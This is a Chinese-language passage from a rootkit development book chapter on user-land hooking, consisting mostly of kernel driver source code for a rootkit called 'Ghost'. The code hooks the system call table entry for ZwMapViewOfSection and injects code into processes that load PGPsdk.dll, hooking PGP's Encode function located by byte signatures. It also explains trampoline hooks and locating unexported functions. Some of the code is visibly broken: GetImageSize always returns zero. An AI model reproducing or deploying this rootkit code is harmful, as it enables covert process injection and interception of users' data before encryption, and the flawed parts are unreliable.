第四章:用户层挂钩
概述
本章将指导你创建一个用户层进程钩子。通过挂钩一个进程中的函数,使得rootkit可以改变这个进程的操作。这样就提供了一个方便的监视,过滤和隐藏等控制机制。
本章包括如下内容:
基本的进程注入
关于ZwMapViewOfSection
用户层函数声明
跳转挂钩技术
一个基本的进程注入实例
进程注入
当一个Windows应用程序被加载到内存时, 应用程序被加载到内存,所有在动态链接库(DLLs)中定位的必要的外部函数被加载到同一个内存空间。就像应用程序的组成部分一样这些外部函数被映射到内存。内核函数ZwMapViewOfSection来负责映射关系。
一旦ZwMapViewOfSection被挂钩,动态链接库函数的映射关系就可以被改变。因为在加载一个DLL时增加每一个函数就必须将其复制到内存来调用进程,替换函数也同样需要被注入到这个内存空间-这就是所谓的进程注入。图4-1所示为ZwMapViewOfSection。
图 4-1
查找一个特殊的动态链接库
查找一个被ZwMapViewOfSection加载的特殊库文件,你需要修改NewZwMapViewOf节,并增加一个新的功能函数,IsSameFile。而不是完成全部工程和同时描述所有动作,本章将增加一些小的代码片段并依次讲解每个代码段。下面是对hookManager.c的初始化修改:
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
USHORT index;
USHORT longLen;
USHORT shortLen;
USHORT count;
// Check input
if( !shortString ||
shortString->Length == 0 ||
!longString ||
longString->Length == 0 ||
(shortString->Length > longString->Length))
return FALSE;
index = longString->Length / 2; // wchar_t len is len / 2
// search backwards for backslash
while( --index )
if ( longString->Buffer[index] == L'\\' )
break;
// check for same length first
longLen = (longString->Length / 2) - index - 1;
shortLen = shortString->Length / 2;
if( shortLen != longLen )
return FALSE;
// Compare
count = 0;
while ( count < longLen )
if ( longString->Buffer[++index] != shortString->Buffer[count++] )
return FALSE;
// Match!
return TRUE;
}
IsSameFile是被用来比较一个全路径名和一个特殊文件名。如果全路径名最后一个反斜杠后面的文件名和特殊文件名相匹配,那么这个函数返回结果为真。是的,如果不是一个内核函数,这将更容易实现。同样道理,当工作在内核模式时你将需要写一些你自己的功能函数。有许多用户模式下的类库和框架可以在程序设计工作中被引用,但是内核等级的支持就不是那么容易得到的,因此希望大家能够从零开始编写出更多的高效的功能。
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
// First complete the standard mapping process
status = OldZwMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// Now remap as required ( imageOffset only known for versions 4 & 5 )
if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
{
unsigned int imageOffset = 0;
VOID* pSection = NULL;
unsigned int imageSection = FALSE;
HANDLE hRoot = NULL;
PUNICODE_STRING objectName = NULL;
PVOID pImageBase = NULL;
UNICODE_STRING library1 = { 0 };
// Image location higher in version 4
if( majorVersion == 4 )
imageOffset = 24;
if( ObReferenceObjectByHandle( SectionHandle,
SECTION_MAP_EXECUTE,
*MmSectionObjectType,
KernelMode,
&pSection,
NULL ) == STATUS_SUCCESS )
{
// Check to see if this is an image section
// If it is, get the root handle and the object name
_asm
{
mov edx, pSection
mov eax, [edx+14h]
add eax, imageOffset
mov edx, [eax]
test byte ptr [edx+20h], 20h
jz not_image_section
mov imageSection, TRUE
mov eax, [edx+24h]
mov edx, [eax+4]
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
}
if( BaseAddress )
pImageBase = *BaseAddress;
// Mapping a DLL
if( imageSection && pImageBase && objectName && objectName->Length > 0 )
{
RtlInitUnicodeString( &library1, L"kernel32.dll" );
if ( IsSameFile( &library1, objectName ) )
DbgPrint( "comint32: NewZwMapViewOfSection found KERNEL32!" );
else
DbgPrint( "comint32: NewZwMapViewOfSection object = %wZ", objectName ); }
}
ObDereferenceObject( pSection );
}
return status;
}
新的NewZwMapViewOfSection函数的第一个任务是调用原来的老函数。这是因为涉及的DLL必须在追加的函数被注入前被加载。
在DLL被加载后,你必须检测一下比确保成功。除了检测成功之外,还需要做版本检测。这个检测是唯一不确定的,因为版本检测已经被加到DriverEntry (如果你想知道我为什么完成majorVersion和minorVersion全部)。
版本检测的原因是基于主要版本4和5的镜像位置不同。一旦镜像定位被确定,检测是用来确定被映射的节是否是一个实际的镜像。如果被映射的节是一个具有有效基地址和有效名的镜像,那么进程继续执行。
这里,我们所关心的DLL测试可以使用新的功能函数IsSameFile来完成。现在,如果它是目标DLL将会输出一个简单的debug调试语句。注意可以使用格式化字符串中的%wZ作为第二个DbgPrint。这是统一编码字符串的区分符。内核模式rootkit开发中统一编码字符串将广泛使用;知道如何输出他们将会是你的工作得心应手。针对宽位字符和宽位字符串你可能还会分别使用到%C和%S。
如果你想完成和安装这个rootkit,你将会看到每个已启动的应用程序加载的每个DLL都会有一个debug调试语句,并且当kernel32.dll被加载时将看到一个特殊的调试语句。大多数应用程序都会使用kernel32.dll,因此找到他们不会很难。
定义一个挂钩函数
在进行挂钩逻辑操作之前,应该ntddk.h文件来声明原函数,然后通过剪切、粘贴、修改ntddk.h中的原函数原型来为新挂钩函数创建声明。然而没有一个头文件你将从哪得到函数原型信息呢? 很可能你需要挂钩的函数是无正式文档说明的,没有头文件,没有演示调用目标函数的例程。还有可能你需要挂钩的函数连输出都没有。
这些问题可以用IDA来修补。在第一章中我们提到过,IDA是一个反编译程序,可以将机器码分解为汇编码。如果你用IDA打开一个目标DLL文件,你可以选择菜单操作“Navigate” =>“Jump To”=> “Function”来获得这个DLL的输出函数的列表。然后你只要输入想得到的目标函数名称;IDA就会高亮显示与你输入字母匹配的函数直到没有与之匹配的。如果有一个匹配的,找到想要得到的目标函数后按回车键跳转到这个函数。你将看见一些类似下面显示的信息。我选择使用ntdll.dll中的 RtlGUIDFromString函数来演示这个过程,你可以使用任意DLL中的任意输出函数:
.text:7C926B07 public RtlGUIDFromString
.text:7C926B07 RtlGUIDFromString proc near
.text:7C926B07
.text:7C926B07 var_14 = byte ptr –14h
.text:7C926B07 var_12 = byte ptr –12h
.text:7C926B07 var_10 = byte ptr –10h
.text:7C926B07 var_E = byte ptr –0Eh
.text:7C926B07 var_C = byte ptr –0Ch
.text:7C926B07 var_A = byte ptr –0Ah
.text:7C926B07 var_8 = byte ptr –8
.text:7C926B07 var_6 = byte ptr –6
.text:7C926B07 var_4 = dword ptr -4
.text:7C926B07 arg_4 = dword ptr 8
.text:7C926B07 arg_8 = dword ptr 0Ch
虽然这可能不是你所需要的,但这是一个函数原型。基本上,这个列表显示了RtlGUIDFromString函数接受两个传递参数,arg_4和arg_8,并且他们都是32位指针。仅供参考,IDA用 arg_x来分类传递函数,用 var_x分类局部堆栈变量。
确定返回结果类型比较麻烦。IDA显示
.text:7C926B82 retn 8
说明函数返回结果( 在压入参数arg_4和arg_8后,8位字节空间必须从堆栈中清空). 然而,你需要回溯前面代码。
.text:7C926B76 xor eax, eax
在返回确定确定结果之前,函数有可能返回NTSTATUS。
使用IDA的其他优势是它具有查看函数的实际机器码的能力。当函数没有输出时这个功能是必要的。下面是整个过程。
在加载了目标DLL后,找一个单元挂接,选择Options=>Text representation,然后从0到8改变操作码位数。但后按Enter来返回到代码界面。你将看到没有输出函数的机器码。随后,我们可以使用一些这样样式的机器码来挂接无输出函数。
即使RtlGUIDFromString被输出,它也可以作为一个如何检索机器码样式的例子。使用Windows XP SP2 家庭版中的ntdll.dll,你能看到这样的代码样式:
55 8B EC 83 EC 14 56 8B 75 0C A1 34 C0 97 7C 8D 4D FA 51 8D 4D F8 51...
我们还需要一些汇编语言程序设计的知识来确认什么时候一个机器码样式随着使用开始变化,但是通常使用一个样式来表示初始偏移和函数入口是比较安全的。真正重要的是DLL中唯一的代码样式。这个样式必须足够长以保证在所有版本的目标DLL中都是唯一的;否则,一个样式匹配算法可能挂钩到错误的函数。如果你已经下载了Microsoft Visual C++ 2005 Express,你可以以二进制形式打开一个文件并在一个DLL中搜索一个特殊样式。如果你只找到一个,那么你很幸运!
跳转函数
还需要一个细节,在挂钩前覆盖应用内存。像前面所提到的,DLL函数被加载到应用内存并作为内部函数使用。与挂钩系统调用表执行内核钩子不相似,因此嵌入一个钩子到应用内存还需要一些准备工作。图4-2显示这个跳转过程。
可以通过在Ghost中使用一个跳转函数的方法来实现DLL挂钩。这个跳转函数简单的执行一个指令并执行一个跳转。跳转函数里的指令是被挂钩函数的第一个指令,跳转则是指向被挂钩函数的第二个指令。这就排除了对被挂钩函数第一个指令的需要,这就允许放置一个跳转指向注入函数。这个跳转可以调用注入函数来建立一个挂钩。
在使用一个跳向注入函数指令替换被挂钩函数的第一个指令之后,被注入的函数可以调用跳转来执行原函数。你所需要记住的唯一的事情就是跳转的位置,被挂钩函数第二条指令的位置和被嵌入跳转函数的有效指令。因为这些指令所占用的空间大小是已知的,所以这些空间可以分配到被注入内存。
初始版本的Ghost也有一个方法来确定偏移地址(原函数中被替换的跳转)。它允许一个匹配样式在关键指令之后开始执行,就像检索一个全局变量。因为ZwMapViewOfSection在全局变量单元被定位前使用,这个函数,它的第一个指令是加载一个以后不被复制和使用的全局地址。为了避免这个问题,跳转指令可以被写入到原函数中较远的位置。如果这个跳转的位置是在函数堆栈调节器后,这时将需要一个新近的堆栈调节器以便被挂钩函数可以到达原堆栈位置。
一个例子
这个例子将增加Ghost工程的体积。体积和复杂性增加的原因源于需要对PE (Windows executable)文件的分析,需要提供挂钩函数和挂钩注入代码,并需要精确的识别x86指令。分析机器码来找到一个可以被一个跳转替换的指令看起来已经超出了本书讨论的范围,但是这是跳转挂钩方法中一个重要的组成部分。
函数功能的实现需要进程注入,我们可以通过创建四个新文件和修改六个现有文件来实现。
新文件如下:
injectManager.c
injectManager.h
parse86.c
parse86.h
下面是需要修改的文件:
Ghost.c
Ghost.h
hookManager.c
hookManager.h
peFormat.h
SOURCES
下面是源代码。
源代码
将文件injectManager.c和parse86.c加入到SOURCES中:
TARGETNAME=comint32
TARGETPATH=OBJ
TARGETTYPE=DRIVER
SOURCES=Ghost.c\
fileManager.c\
hookManager.c\
injectManager.c\
parse86.c\
configManager.c
Ghost.h
通过扩展文件Ghost.h来定义更多的数据类型,当调用CreateFile使用一个数据结构。像CreateFileW和lstrcmpiW这样的函数被定位于kernel32.dll中,并且通过数据交换结构提供给注入函数,IN_PROCESS_DATA,在injectManager.h中定义:
// Copyright Ric Vieler, 2006
// Support header for Ghost.c
#ifndef _GHOST_H_
#define _GHOST_H_
typedef unsigned long DWORD;
typedef int BOOL;
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef float FLOAT;
typedef FLOAT* PFLOAT;
typedef BOOL* PBOOL;
typedef BYTE* PBYTE;
typedef int* PINT;
typedef WORD* PWORD;
typedef DWORD* PDWORD;
typedef DWORD* LPDWORD;
typedef int INT;
typedef unsigned int UINT;
typedef unsigned int* PUINT;
typedef long* LPLONG;
typedef void* PVOID;
#define LPVOID PVOID
typedef PVOID FARPROC;
typedef const void* LPCVOID;
typedef struct _SECURITY_ATTRIBUTES
{
DWORD nLength;
LPVOID lpSecurityDescriptor;
BOOL bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
#endif
Ghost.c
通过增加两个全局变量来扩展Ghost.c文件:
PVOID kernel32Base = NULL;
ZWPROTECTVIRTUALMEMORY OldZwProtectVirtualMemory;
当被映射的的库在kernel32.dll中时,Kernel32Base由函数ZwMapViewOfSection支持。OldZwProtectVirtualMemory由findUnresolved支持,模式匹配算法是指从ZwPulseEvent向后搜索查找ZwProtectVirtualMemory。
从Ghost.c 中的DriverEntry调用挂钩函数时,挂钩函数被重命名为HookKernel()因为现在存在两种形式的挂钩:内核挂钩和用户层挂钩:
// Add kernel hooks
if( !NT_SUCCESS( HookKernel() ) )
{
DbgPrint("comint32: HookKernel failed!\n");
return STATUS_UNSUCCESSFUL;
}
hookManager.h
通过扩展hookManager.h文件来定义新的函数原型。增加数据结构,增加新定义,和重命名hookKernel函数:
// Copyright Ric Vieler, 2006
// Support header for hookManager.c
#ifndef _HOOK_MANAGER_H_
#define _HOOK_MANAGER_H_
NTSTATUS HookKernel( void );
BOOL IsSameFile( PUNICODE_STRING shortString, PUNICODE_STRING longString );
PVOID findUnresolved( PVOID pFunc );
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size );
PVOID GetFunctionAddress( PVOID BaseAddress,
char* lpFunctionName,
PBYTE pattern,
size_t patternLength );
// The kernel's Service Descriptor Table
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// Our System Call Table
extern PVOID* NewSystemCallTable;
// Our Memory Descriptor List
extern PMDL pMyMDL;
// Needed for data injection
extern PVOID kernel32Base;
// Needed for version differences
extern ULONG majorVersion;
extern ULONG minorVersion;
#define HOOK_INDEX(functionName) *(PULONG)((PUCHAR)functionName+1)
#define HOOK(functionName, newPointer2Function, oldPointer2Function ) \
oldPointer2Function = (PVOID) InterlockedExchange( \
(PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG) newPointer2Function)
#define UNHOOK(functionName, oldPointer2Function) \
InterlockedExchange( (PLONG) &NewSystemCallTable[HOOK_INDEX(functionName)], (LONG)
oldPointer2Function)
typedef NTSTATUS (*ZWMAPVIEWOFSECTION)(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );
extern ZWMAPVIEWOFSECTION OldZwMapViewOfSection;
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect );
// UNDOCUMENTED
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
ZwAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
// ZwProtectVirtualMemory won't resolve!
// Need to extract from dll manually.
NTSYSAPI
NTSTATUS
NTAPI ZwPulseEvent( HANDLE h, PULONG p );
NTSYSAPI
NTSTATUS
NTAPI
ZwProtectVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection );
typedef NTSTATUS (*ZWPROTECTVIRTUALMEMORY)(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection );
extern ZWPROTECTVIRTUALMEMORY OldZwProtectVirtualMemory;
// Undocumented object types
extern POBJECT_TYPE* MmSectionObjectType;
extern POBJECT_TYPE* PsProcessType;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#endif
hookManager.c
通过扩展hookManager.c文件来包含十个函数:
HookKernel-以前的挂钩,现在我们拥有内核和库挂钩
NewZwMapViewOfSection–修改并安装库挂钩
IsSameFile–删除输入检测实现简单化
IsSameString–使用GetFunctionAddress来匹配库函数
MapKernelAddress–使用GetImageSize和GetFunctionAddress
FreeKernelAddress–使用GetImageSize和GetFunctionAddress
GetImageSize–使用GetFunctionAddress
findUnresolved–查找ZwProtectVirtualMemory
GetFunctionAddress–从一个DLL中获得一个函数的地址
checkPattern–一个快速模式匹配算法
代码如下:
// hookManager
// Copyright Ric Vieler, 2006
// Hook the System Call Table
#include "ntddk.h"
#include "Ghost.h"
#include "hookManager.h"
#include "peFormat.h"
#include "injectManager.h"
// Add kernel hook(s)
NTSTATUS HookKernel( )
{
DWORD functionAddress;
DWORD position;
pMyMDL = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices * 4 );
if( !pMyMDL )
return( STATUS_UNSUCCESSFUL );
MmBuildMdlForNonPagedPool( pMyMDL );
pMyMDL->MdlFlags = pMyMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
NewSystemCallTable = MmMapLockedPages( pMyMDL, KernelMode );
if( !NewSystemCallTable )
return( STATUS_UNSUCCESSFUL );
// Need ZwProtectVirtualMemory to write into user memory.
// But it's not defined in ntddk.h so look for pattern
// searching backward from ZwPulseEvent
OldZwProtectVirtualMemory = findUnresolved(ZwPulseEvent);
if( OldZwProtectVirtualMemory == 0 )
return( STATUS_UNSUCCESSFUL );
// Add hooks here (remember to unhook if using DriverUnload)
HOOK( ZwMapViewOfSection, NewZwMapViewOfSection, OldZwMapViewOfSection );
return( STATUS_SUCCESS );
}
// Process Inject Dynamic Link Libraries
NTSTATUS NewZwMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN ULONG CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Protect )
{
NTSTATUS status;
// First complete the standard mapping process
status = OldZwMapViewOfSection(SectionHandle,
ProcessHandle,
BaseAddress,
ZeroBits,
CommitSize,
SectionOffset OPTIONAL,
ViewSize,
InheritDisposition,
AllocationType,
Protect );
// Now remap as required ( imageOffset only known for versions 4 & 5 )
if( NT_SUCCESS( status ) && ( majorVersion == 4 || majorVersion == 5 ) )
{
unsigned int imageOffset = 0;
VOID* pSection = NULL;
unsigned int imageSection = FALSE;
HANDLE hRoot = NULL;
PUNICODE_STRING objectName = NULL;
PVOID pImageBase = NULL;
UNICODE_STRING library1 = { 0 };
UNICODE_STRING library2 = { 0 };
CALL_DATA_STRUCT callData[TOTAL_HOOKS] = { 0 };
int hooks2inject = 0;
// Image location higher in version 4
if( majorVersion == 4 )
imageOffset = 24;
if( ObReferenceObjectByHandle(SectionHandle,
SECTION_MAP_EXECUTE,
*MmSectionObjectType,
KernelMode,
&pSection,
NULL ) == STATUS_SUCCESS )
{
// Check to see if this is an image section
// If it is, get the root handle and the object name
_asm
{
mov edx, pSection
mov eax, [edx+14h]
add eax, imageOffset
mov edx, [eax]
test byte ptr [edx+20h], 20h
jz not_image_section
mov imageSection, TRUE
mov eax, [edx+24h]
mov edx, [eax+4]
mov hRoot, edx
add eax, 30h
mov objectName, eax
not_image_section:
}
if( BaseAddress )
pImageBase = *BaseAddress;
// Mapping a DLL
if( imageSection && pImageBase && objectName && objectName->Length > 0 )
{
// define libraries of interest
RtlInitUnicodeString( &library1, L"kernel32.dll" );
RtlInitUnicodeString( &library2, L"PGPsdk.dll" );
if ( IsSameFile( &library1, objectName ) ) // kernel32
{
kernel32Base = pImageBase;
}
else if ( IsSameFile( &library2, objectName ) ) // PGPsdk
{
// Pattern for PGP 9.0 Encode
BYTE pattern1[] = { 0x55, 0x8B, 0xEC, 0x83, 0xE4, 0xF8, 0x81, 0xEC, \
0xFC, 0x00, 0x00, 0x00, 0x53, 0x33, 0xC0, 0x56, \
0x57, 0xB9, 0x26, 0x00, 0x00, 0x00, 0x8D, 0x7C, \
0x24, 0x18, 0xF3, 0xAB };
PVOID pfEncode = GetFunctionAddress( pImageBase, NULL, pattern1,
sizeof(pattern1) );
if( !pfEncode )
{
// Pattern for PGP 9.5 Encode
BYTE pattern2[] = { 0x81, 0xEC, 0xFC, 0x00, 0x00, 0x00, 0x53, 0x55, \
0x33, 0xDB, 0x68, 0x98, 0x00, 0x00, 0x00, 0x8D, \
0x44, 0x24, 0x14, 0x53, 0x50, 0x89, 0x9C, 0x24, \
0xB4, 0x00, 0x00, 0x00 };
pfEncode = GetFunctionAddress( pImageBase, NULL, pattern2, sizeof(pattern2)
);
}
if( pfEncode )
{
hooks2inject = 1;
callData[0].index = USERHOOK_beforeEncode;
callData[0].hookFunction = pfEncode;
callData[0].parameters = 2;
callData[0].callType = CDECL_TYPE;
callData[0].stackOffset = 0;
DbgPrint("comint32: NewZwMapViewOfSection pfEncode = %x",pfEncode);
}
else
{
DbgPrint("comint32: PGP Encode not found.");
}
}
if( hooks2inject > 0 )
{
PCHAR injectedMemory;
// prepare memory
injectedMemory = allocateUserMemory();
// inject
if( !processInject( (CALL_DATA_STRUCT*)&callData, hooks2inject, injectedMemory
) )
{
DbgPrint("comint32: processInject failed!\n" );
}
}
}
ObDereferenceObject( pSection );
}
}
return status;
}
// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
USHORT index;
USHORT longLen;
USHORT shortLen;
USHORT count;
index = longString->Length / 2; // wchar_t len is length / 2
// search backwards for backslash
while( --index )
if ( longString->Buffer[index] == L'\\' )
break;
// check for same length first
longLen = (longString->Length / 2) - index - 1;
shortLen = shortString->Length / 2;
if( shortLen != longLen )
return FALSE;
// Compare
count = 0;
while ( count < longLen )
if ( longString->Buffer[++index] != shortString->Buffer[count++] )
return FALSE;
// Match!
return TRUE;
}
// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
while( *first && *second )
{
if( tolower( *first ) != tolower( *second ) )
return FALSE;
first++;
second++;
}
if( *first || *second )
return FALSE;
// strings match!
return TRUE;
}
// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
PVOID pMappedAddr = NULL;
*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
if( *ppMDL == NULL )
return NULL;
__try
{
MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
}
__except( EXCEPTION_EXECUTE_HANDLER )
{
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
if( !pMappedAddr )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
*ppMDL = NULL;
return NULL;
}
return pMappedAddr;
}
// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
if( *ppMappedAddr && *ppMDL )
MmUnmapLockedPages( *ppMappedAddr, *ppMDL );
*ppMappedAddr = NULL;
if( *ppMDL )
{
MmUnlockPages( *ppMDL );
IoFreeMdl( *ppMDL );
}
*ppMDL = NULL;
}
// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
ULONG imageSize = 0;
PVOID pTempNTHeader;
PVOID mappedBase;
PMDL pMDL;
mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
if( mappedBase )
{
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
FreeKernelAddress( &mappedBase, &pMDL );
mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress +
(ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
if( mappedBase )
{
pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
FreeKernelAddress( &mappedBase, &pMDL );
}
}
return imageSize;
}
// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
UCHAR pattern[5] = { 0 };
PUCHAR bytePtr = NULL;
PULONG oldStart = 0;
ULONG newStart = 0;
memcpy( pattern, pFunc, 5 );
// subtract offset
oldStart = (PULONG)&(pattern[1]);
newStart = *oldStart - 1;
*oldStart = newStart;
// Search for pattern
for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
if( checkPattern( bytePtr, pattern, 5 ) == 0 )
return (PVOID)bytePtr;
// pattern not found
return NULL;
}
// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress(PVOID BaseAddress,
char* functionName,
PBYTE pattern,
size_t patternLength )
{
ULONG imageSize;
ULONG virtualAddress;
PVOID returnAddress;
PULONG functionAddressArray;
PWORD ordinalArray;
PULONG functionNameArray;
ULONG loop;
ULONG ordinal;
PVOID mappedBase;
PMDL pMDL;
BYTE* bytePtr;
BYTE* maxBytePtr;
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADER pNTHeader;
PIMAGE_EXPORT_DIRECTORY exportDirectory;
imageSize = GetImageSize( BaseAddress );
mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );
if ( functionName == NULL )
{
// Search for function pattern
returnAddress = 0;
maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize -
(DWORD)patternLength);
for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
{
if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
{
returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr -
(DWORD)mappedBase);
break;
}
}
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return returnAddress;
}
// Search for function name
pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
imageSize = pNTHeader-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
virtualAddress = pNTHeader-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory-
>AddressOfFunctions);
ordinalArray = (PWORD)((PCHAR)mappedBase + exportDirectory-
>AddressOfNameOrdinals);
functionNameArray = (PULONG)((PCHAR)mappedBase + exportDirectory-
>AddressOfNames);
ordinal = (ULONG)functionName;
if (!ordinal)
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
if( ordinal <= exportDirectory->NumberOfFunctions )
{
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((PCHAR)BaseAddress + functionAddressArray[ordinal - 1]);
}
for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
{
ordinal = ordinalArray[loop];
if( functionAddressArray[ordinal] < virtualAddress ||
functionAddressArray[ordinal] >= virtualAddress + imageSize )
{
if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray[loop]),
functionName ) )
{
returnAddress = (PVOID)functionAddressArray[ordinal];
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
}
}
}
DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
if( mappedBase )
FreeKernelAddress( &mappedBase, &pMDL );
return 0;
}
// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
register unsigned char* p1 = pattern1;
register unsigned char* p2 = pattern2;
while( size-- > 0 )
{
if( *p1++ != *p2++ )
return 1;
}
return 0;
}
增加hookManager能使Ghost检测应用程序加载PGP SDK 动态链接库。当这个库被加载后,ZwMapViewOfSection安装一个调用数据结构,从调用应用程序中分配内存,并注入一个挂钩到应用程序中并加载PGPsdk.dll。
injectManager.h
通过增加injectManager.h来支持进程注入。我们主要关心的是CALL_ DATA_STRUCT。就是当ZwMapViewOfSection找到一个函数来挂钩时填充的结构。
CALL_DATA_STRUCT的组成部分如下:
index-每个进程挂钩必须有一个目录来与其他挂钩区别标识。
parameters–传递给被挂钩的函数的参数数量必须被保存。
hookFunction–被挂钩函数的地址必须被保存。
callType–调用类型,标准型或C,当从一个调用返回时必须被确定。
stackOffset–如果不使用一个样式则置“0”,这个样式必须在第一条指令后开始。
代码如下:
// Copyright Ric Vieler, 2006
// Support header for injectManager.c
#ifndef _USER_HOOK_INJECTION_H_
#define _USER_HOOK_INJECTION_H_
#define USERHOOK_beforeEncode 0
#define TOTAL_HOOKS 1
#define MAX_INSTRUCTION 36
#define STDCALL_TYPE 0
#define CDECL_TYPE 1
#define EMIT_FOUR( x ) __asm{ __asm _emit x __asm _emit x __asm _emit x __asm _emit
x }
